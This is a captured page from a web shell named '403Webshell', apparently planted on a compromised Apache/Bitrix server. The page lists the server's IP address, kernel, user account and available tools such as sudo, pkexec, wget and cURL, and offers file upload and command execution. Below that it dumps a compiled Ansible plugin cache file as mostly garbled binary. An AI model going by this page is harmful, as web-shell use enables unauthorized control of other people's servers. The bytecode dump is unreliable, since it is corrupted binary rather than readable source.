403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.11/site-packages/ansible/plugins/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.11/site-packages/ansible/plugins/__pycache__/__init__.cpython-311.pyc
�

���c�����ddlmZmZmZeZddlmZddlZddl	Z
ddlmZ
ddlmZddlmZddlmZddlmZe��Ze
jrd	d
lmZiZiZiZd�ZGd�d
e��ZGd�de��ZdS)�)�absolute_import�division�print_function)�ABCN)�	constants)�AnsibleError)�	to_native)�string_types)�Display�)�PluginPathContextc���t|t��r(|����dd��S|jj����dd��S�N�module�)�
isinstancer
�lower�replace�	__class__�__name__)�objs �=/usr/lib/python3.11/site-packages/ansible/plugins/__init__.py�get_plugin_classr.sZ���#�|�$�$�D��y�y�{�{�"�"�8�R�0�0�0��}�%�+�+�-�-�5�5�h��C�C�C�c�t�eZdZdZd�Zd�Zd
d�Zd
d�Zd�Zdd�Z	d	�Z
ed
���Zed���Z
d�ZdS)�
AnsiblePluginFc�"�i|_d|_dS�N)�_options�_defs��selfs r�__init__zAnsiblePlugin.__init__:s����
���
�
�
rc�n�t��}|D]q}d|vr|�d|����n=|�d��r(|�|�d����|�|���rt	|�t|j������S)N�.zansible.builtin.zansible.legacy.)�set�add�
startswith�removeprefix�bool�intersection�ansible_aliases)r"�possible_names�possible_fqcns�names    r�matches_namezAnsiblePlugin.matches_name>s�������"�	%�	%�D��$����"�"�#<�d�#<�#<�=�=�=�=����!2�3�3�
I��"�"�4�#4�#4�5F�#G�#G�H�H�H����t�$�$�$�$��N�/�/��D�4H�0I�0I�J�J�K�K�KrNc�.�||jvrs	tj�||j|j|���}n.#t$r!}tt|�����d}~wwxYw|�	||��|j�
|��S)N)�plugin_type�plugin_name�	variables)r�C�config�get_config_valuer2�
_load_namer�KeyErrorr	�
set_option�get)r"�option�hostvars�option_value�es     r�
get_optionzAnsiblePlugin.get_optionHs������&�&�
-� �x�8�8��T�M]�ko�kz�GO�8� P� P�����
-�
-�
-��y��|�|�,�,�,�����
-�����O�O�F�L�1�1�1��}� � ��(�(�(s�-9�
A$�A�A$c�v�i}|j���D]}|�||���||<�|S)N)r=)�option_definitions�keysr@)r"r=�optionsr<s    r�get_optionszAnsiblePlugin.get_optionsQsG�����-�2�2�4�4�	I�	I�F�"�o�o�f�x�o�H�H�G�F�O�O��rc��||j|<dSr)r)r"r<�values   rr:zAnsiblePlugin.set_optionWs�� %��
�f���rc���tj�|j|j|||���|_|jr$|r$d|vr"|�d|d��dSdSdSdS)a*
        Sets the _options attribute with the configuration/keyword information for this plugin

        :arg task_keys: Dict with playbook keywords that affect this option
        :arg var_options: Dict with either 'connection variables'
        :arg direct: Dict with 'direct assignment'
        )rCr4�direct�_extrasN)r5r6�get_plugin_optionsr2r8r�allow_extrasr:)r"�	task_keys�var_optionsrIs    r�set_optionszAnsiblePlugin.set_optionsZs�����3�3�D�4D�d�o�\e�q|�FL�3�M�M��
���	?��	?��k�1I�1I��O�O�I�{�9�'=�>�>�>�>�>�	?�	?�	?�	?�1I�1Irc�J�|js|���||jvSr)rrO)r"r<s  r�
has_optionzAnsiblePlugin.has_optionis+���}�	����������&�&rc�f�|jj����dd��Sr�rrrrr!s rr2zAnsiblePlugin.plugin_typens)���~�&�,�,�.�.�6�6�x��D�D�Drc�~�|j�0tj�|j|j���|_|jS)N)r2r/)r r5r6�get_configuration_definitionsr2r8r!s rrBz AnsiblePlugin.option_definitionsrs5���:����?�?�D�L\�cg�cr�?�s�s�D�J��z�rc��dSr�r!s r�_check_requiredzAnsiblePlugin._check_requiredxs���rr)NNN)r�
__module__�__qualname__rLr#r0r@rEr:rOrQ�propertyr2rBrXrWrrrr5s��������L����L�L�L�)�)�)�)�����&�&�&�
?�
?�
?�
?�'�'�'�
�E�E��X�E�����X��

�
�
�
�
rrc�h��eZdZ�fd�Zed���Zd�ZexZxZxZ	xZ
xZZed���Z
�xZS)�AnsibleJinja2Pluginc�d��tt|�����||_dSr)�superr]r#�	_function)r"�functionrs  �rr#zAnsibleJinja2Plugin.__init__s+���
�!�4�(�(�1�1�3�3�3�!����rc�f�|jj����dd��S)N�
ansiblejinja2rrSr!s rr2zAnsibleJinja2Plugin.plugin_type�s)���~�&�,�,�.�.�6�6���K�K�Krc��t���r)�NotImplementedError)r"�args�kwargss   r�_no_optionszAnsibleJinja2Plugin._no_options�s��!�#�#�#rc��|jSr)r`r!s r�j2_functionzAnsibleJinja2Plugin.j2_function�s
���~�r)rrYrZr#r[r2rhrQr@rErBr:rOrj�
__classcell__)rs@rr]r]}s��������"�"�"�"�"�
�L�L��X�L�$�$�$�]h�g�J�g��g�k�g�,>�g��k�
����X�����rr]) �
__future__rrr�type�
__metaclass__�abcr�types�typing�t�ansiblerr5�ansible.errorsr�ansible.module_utils._textr	�ansible.module_utils.sixr
�ansible.utils.displayr�display�
TYPE_CHECKING�loaderr
�MODULE_CACHE�
PATH_CACHE�PLUGIN_PATH_CACHErrr]rWrr�<module>r~s^��*C�B�B�B�B�B�B�B�B�B��
���������������"�"�"�"�"�"�'�'�'�'�'�'�0�0�0�0�0�0�1�1�1�1�1�1�)�)�)�)�)�)�
�'�)�)���?�*�)�)�)�)�)�)���
�
���D�D�D�E
�E
�E
�E
�E
�C�E
�E
�E
�P�����-�����r

Youez - 2016 - github.com/yon3zu
LinuXploit